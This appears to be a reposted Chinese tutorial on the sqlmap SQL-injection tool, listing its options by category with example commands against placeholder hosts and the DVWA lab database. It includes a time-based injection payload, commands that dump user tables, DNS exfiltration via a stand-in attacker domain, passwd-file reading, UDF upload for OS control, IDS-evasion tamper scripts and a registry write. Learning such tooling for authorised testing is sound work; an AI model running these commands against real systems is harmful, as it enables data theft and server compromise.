SQL注入:6、SQLMAP的使用
生活随笔
收集整理的這篇文章主要介紹了
SQL注入:6、SQLMAP的使用
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
6、SQLMAP的使用
- 功能
- 5種漏洞檢測技術
- 特性
- 使用
- target類
- request類
- Optimization類:性能優(yōu)化
- INJECTION類
- DETECTION
- TECHNIQUES
- FINGERPRINT
- ENUMERATION
- BRUTE FORCE
- UDF INJECTION:自定義函數(shù)
- FILE SYSTEM
- OS
- WINDOWS REGISTORY
- GENERAL
- MISCELLANEOUS
功能
5種漏洞檢測技術
輸入:** ’ and (select * from (select(sleep(20)))a)-- ** :通過響應時間長短判斷是否有SQL注入
堆疊:執(zhí)行多條語句。用;分割語句。
特性
使用
sqlmap -hh
幫助參數(shù)
target類
get方式:
-p:只檢查url中的username參數(shù)
-f:掃描數(shù)據(jù)庫中的足跡、指紋、內容
–users:查詢數(shù)據(jù)庫中存在的用戶
–dbs:當前數(shù)據(jù)庫管理系統(tǒng)中有哪些庫
–schema:查看源數(shù)據(jù)庫,information-schema
-a:查詢所有信息
鏈接已有數(shù)據(jù)庫
sqlmap -m list.txt --dbs --users
探測多個url
post方式
burpsuite抓包
vi request.txt
sqlmap -r request.txt
burpsuite記錄log:option—>misc—>log
sqlmap -l log.txt
https掃描:
掃描配置文件:
sqlmap -c sqlmap.conf
request類
常用http頭請求
–date:常用于post請求;拼接要提交給服務器的參數(shù)
–param-del:參數(shù)分割符,默認是&,其他用該參數(shù)指定
–cookie:設置cookie(檢查cookie注入點需要level>=2)
–level:設置檢查等級(1~5)
set-cookie:服務器返回新的cookie(set-cookie)后更新
–User-Agent:設置user-agent
–host:修改host頭,檢查host注入點:level>=5
–referer:告訴服務器該網頁是從哪個頁面鏈接過來的,檢查referer注入點:level>=3
–radom-agent:隨機使用字典中的user-agent(/usr/share/sqlmap/txt/user-agents.txt)(user-agent注入點:level>=3)
**ps:**APP/WAF/IPS/IDS 過濾異常user-agent時報錯
\nUser-Agent:yuanfh” --method="get/post"
–headers:添加自定義頭
–method:指定提交方式
基于http協(xié)議的身份認證
–auth-type:http認證方式:Basic、Digest、NTLM
–auth-cred:認證用戶名、密碼
–auth-file:客戶端證書認證
代理
–proxy:設置代理(goagent)
–proxy-cred:設置代理用戶名、密碼
–ignore-proxy:忽略系統(tǒng)級代理,通常用于掃描本地網絡目標;
其他參數(shù)
–delay:每次http(s)請求之間延遲時間,單位為秒,默認無延遲
–timeout:請求超時時間,默認30s
–retries:超時重試次數(shù),默認3次
–randomize:保持和id相同類型、長度的前提下,給id隨機賦值
sqlmap -l burp.log --scape="(19)?.168.20.(1|10|100)" --level=“3” --dbs
–scope:過濾日志內容,通過正則表達式進行篩選
–safe-url:要檢測的url
– --safe-freq:每隔多少次進行一次正常訪問
PS:檢測和盲注階段會產生大量的失敗請求,服務器端可能會因此銷毀session
默認get方法會對傳輸內容進行編碼,某些服務器不遵循RFC標準編碼,使用原始字符串提交數(shù)據(jù)
id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval="import
hashlib;hash=hashlib.md5(id).hexdigest()
–eval:每次請求前執(zhí)行指定的代碼;每次請求更改或增加新的參數(shù)值(時間依賴、其他參數(shù)依賴)
import hashlib;hash=hashlib.md5(id).hexdigest():自動計算id的hash值,然后進行編碼轉換
Optimization類:性能優(yōu)化
根據(jù)檢測方法,對比返回值和統(tǒng)計表內容,不斷縮小檢測范圍,提高檢測效率
可檢測內容:版本名、用戶名、密碼、privieges、role、數(shù)據(jù)庫名稱、表名、列名
與–threads參數(shù)不兼容
**PS:**統(tǒng)計表: /usr/share/sqlmap/data/txt/common-outputs.txt
使用https長連接,性能好
與–proxy不兼容
長連接避免重復建立鏈接的網絡開銷,但大量長連接會嚴重占用服務器資源
只獲取相應頁面的大小值,而非具體內容
通常用于盲注判斷真/假,降低網絡帶寬消耗
與–text-only參數(shù)不兼容(基于頁面內容的比較判斷真/假)
最大并發(fā)線程,默認1,建議不超過10
盲注時每個線程獲取一個字符(7次請求=一個ASCLL),獲取完成后線程結束
與–predict-output參數(shù)不兼容
-o
開啟性能優(yōu)化1,2,3
INJECTION類
指定掃描參數(shù),使–level失效
指定不想掃描的參數(shù)
uri注入
–dbms:指定數(shù)據(jù)庫類型(mysql、oracle、Microsoft SQL Server、PostgreSQL、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2)
指定操作系統(tǒng)
通常sqlmap使用負值使參數(shù)失效
使用上述參數(shù)后,失效方法為:
bignum:使用大數(shù)使參數(shù)失效,id=999999999999
logical:使用布爾判斷使參數(shù)失效,id=13 and 18=19
通常榨取數(shù)據(jù)時,sqlmap將所有的結果轉化為字符串,并用空格替換null
使用–no-cast關掉改特性
出于混淆和避免出錯的目的,payload中使用到單引號時,使用char()進行替換
SELECT ‘foo’ ------> SELECT CHAR(102)+CHAR(111)+CHAR(111)
該參數(shù)關閉此功能
前后綴
混淆腳本,用于繞過應用層過濾、IPS、IDS
目錄:/usr/share/sqlmap/tamper
DETECTION
目錄:/usr/share/sqlmap/data/xml/payloads
Risk升高可造成數(shù)據(jù)篡改的風險
–string:頁面比較,基于布爾的注入檢測,依據(jù)返回頁面內容的變化判斷真假邏輯,但是有些頁面隨時間閾值變化,此時需要人為指定標識真假的字符串
TECHNIQUES
基于時間的注入檢測相應延遲時間(默認5s)
默認聯(lián)合查詢10列,隨著level升高最多支持50列
–union-cols 6~9
聯(lián)合查詢默認使用null,極端情況下null可能失效,此時可以手動指定數(shù)值
–union-char 123
攻擊者控制了dns服務器,提高數(shù)據(jù)榨取的速度
–dns-domain attracker.com
在一個頁面注入的結果,從另一個頁面體現(xiàn)出來
–second-order http://1.1.1.1/b.php
FINGERPRINT
數(shù)據(jù)庫管理系統(tǒng)指紋信息(版本、補丁、架構)
ENUMERATION
當前數(shù)據(jù)庫管理系統(tǒng)的賬號
當前數(shù)據(jù)庫名稱
當前數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫名
查詢主機名
查詢當前數(shù)據(jù)庫的所有賬號
賬戶權限查詢
角色查詢
sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa --table:查表
sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --columns:查表列
sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --dump --start 3 --stop 4:查表中3~4條記錄
sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --dump-all:查表中所有記錄
sqlmap -u “https://1.1.1.1/index.php?id=1” -D dvwa -T users --count:查表中數(shù)據(jù)個數(shù)
sqlmap -u “https://1.1.1.1/index.php?id=1” --schema --batch --exclude-sysdbs
sqlmap -u “https://1.1.1.1/index.php?id=1” --sql-query "select * from users"
–schema:查詢information-schema
–batch:查詢過程中的所有選項均為默認
–exclude-sysdbs:排除系統(tǒng)層面的庫
–dump:查詢表中記錄
–sql-query:自定義數(shù)據(jù)庫查詢語句
BRUTE FORCE
使用場景:mysql>5.0但無權讀取information-schema、mysql<5.0、微軟access但無權讀取MSysObiects
UDF INJECTION:自定義函數(shù)
編譯共享庫創(chuàng)建并上傳至DB Server,以此生成UDF實現(xiàn)高級注入
Linux --------> shared object
Windows ----> DLL
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857
FILE SYSTEM
讀取passwd文件
寫入/上傳文件,文件+路徑
OS
WINDOWS REGISTORY
sqlmap –u=“http://1.1.1.1/a.aspx?id=1” --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test –
reg-type=REG_SZ --reg-data=1
GENERAL
MISCELLANEOUS
總結
以上是生活随笔為你收集整理的SQL注入:6、SQLMAP的使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 九度 斐波那契数列
- 下一篇: 利用扩展事件进行调优和Troublesh